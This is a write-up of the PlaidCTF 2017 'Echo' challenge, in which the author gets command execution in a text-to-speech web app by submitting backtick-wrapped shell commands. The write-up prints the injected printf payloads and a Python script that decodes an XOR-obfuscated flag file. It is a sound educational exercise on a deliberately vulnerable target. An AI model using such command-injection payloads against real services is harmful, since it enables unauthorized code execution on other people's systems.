PlaidCTF-2017 Echo Write-up

Echo (200 Points)


This question was a really interesting one, and it took quite a bit of brainstorming to figure it out.


So this was the decription

If you hear enough, you may hear the whispers of a key...

If you see app.py well enough, you will notice the UI sucks...

http://echo.chal.pwning.xxx:9977/

http://echo2.chal.pwning.xxx:9977/

The webapp was simple, it took some words from us, and then it gives us a wav(sound) file, in which our entered words are converted into their speech equivalent(like a text-to-speech) program.

We could enter 4 “tweets”, and they would be converted to their sound equivalent, and returned back to us in 4 different wav files

And we were provided with this app.py.

Looking at the app.py, It looks like they are using docker to process our “entered text” and convert it into wav files, which are then returned to us

docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"

Being a bug hunter in the past, I immediately started some black box testing (instead of inspecting the code being executed in the docker). So I enter whoami (with the backticks), So as if they are passing unescaped input to any command line utility, it will be interpreted as a command.

In the response, I hear “root” in the wav file, which means my command got executed. TADA, we have command execution on the docker. Let’s see how we can retrieve our flag now.

Another look at the app.py, and it had this function, which XORed every byte of our flag with 64999 random chars, and then store it in another file along with the 64999 random bytes

def process_flag (outfile):
    with open(outfile,'w') as f:
        for x in flag:
            c = 0
            towrite = ''
            for i in range(65000 - 1):
                k = random.randint(0,127)
                c = c ^ k
                towrite += chr(k)
            f.write(towrite + chr(c ^ ord(x)))
    return

And then the function was called in manner in which my_path is a random path in the /tmp/echo. So it is not directly accessible from the docker.

process_flag(my_path + "flag")

But here is the exactly call to the docker command

subprocess.call(docker_cmd.format(path=my_path).split())

And in the docker command, we can see that the my_path will be mounted relative to /share in the docker instance, So our flag will be available at /share/flag in the docker instance

docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"

But we still have the XOR problem, we somehow need to un-XOR it so that we can then output it into the “Text-to-speech” program, which will then return us the flag in a wav file.

So i wrote this simple python script to un-XOR the flag and then print it, which we will then redirect to the text-to-speech thing.

The flag was being xored with 64999 random bytes, and they were also being stored in the file, So i read first 64999 bytes, calculate their XOR, and then XOR it with the 65000th byte, which was flag’s byte XORed with the XOR of the random bytes (confusing huh? ikr)

f=open("/share/flag","rb").read()
for q in range(len(f)/65000):
    c = 0
    for i in range(q*65000,q*65000 + 64999):
        c = c ^ ord(f[i])
    print chr(ord(f[q*65000 + 64999]) ^ c)

I know i could have reduced the size of this script, but i kinda suck at python so this was the best I could come up with in the last 20 mins of the CTF.

So i tried to write the script to a file using echo, but due to some weird ass reason, it was not working and the server was returning a 500 timeout. Then i tried it with printf, and it WORKED. These were the “tweets” I entered.

`printf 'f=open("/share/flag","rb").read()\nfor q in range(len(f)/65000):\n' >/tmp/lol.py`

`printf '\tc=0\n\tfor i in range(q*65000,q*65000 + 64999):\n\t\tc=c^ord(f[i])\n' >> /tmp/lol.py`

`printf '\tprint chr(ord(f[q*65000 + 64999]) ^ c)\n' >> /tmp/lol.py`

`python /tmp/lol.py|tr "\n" "\ng\n"`

Here is how the final page looked like :

Since all the tweets were executed on the same docker instance, I could chain the tweets for multiple writes to the same file, and I used escape sequences for the indentation(although I could have used single spaces)

And I made it speak the char codes of the characters, instead of the chars itself as it couldn’t distinguish between uppercase and lowecase letter. I also the word “g” as a delimeter, So after every word, it would speak “g” so as to provide a difference between numbers(easier to understand)

So I ended up with this echo.wav. By slowing it down, I was able to interpret the charcodes, and converting them to their ASCII equivalent, I was able to retrieve this flag

PCTF{L15st3n_T0__reee_reeeeee_reee_la}

Thus, a super interesting challenge was solved, and I got to learn a lot about how these kind of things can be exploited.

Thanks for reading,

Jazzy


PS: Reading other people’s writeups and solutions, mostly all of them inspected the docker code one way or other(as it was on a public docker repo), but here i don’t think there was any need for providing us with the public docker repo. Teams could have still figured it out with some black box testing.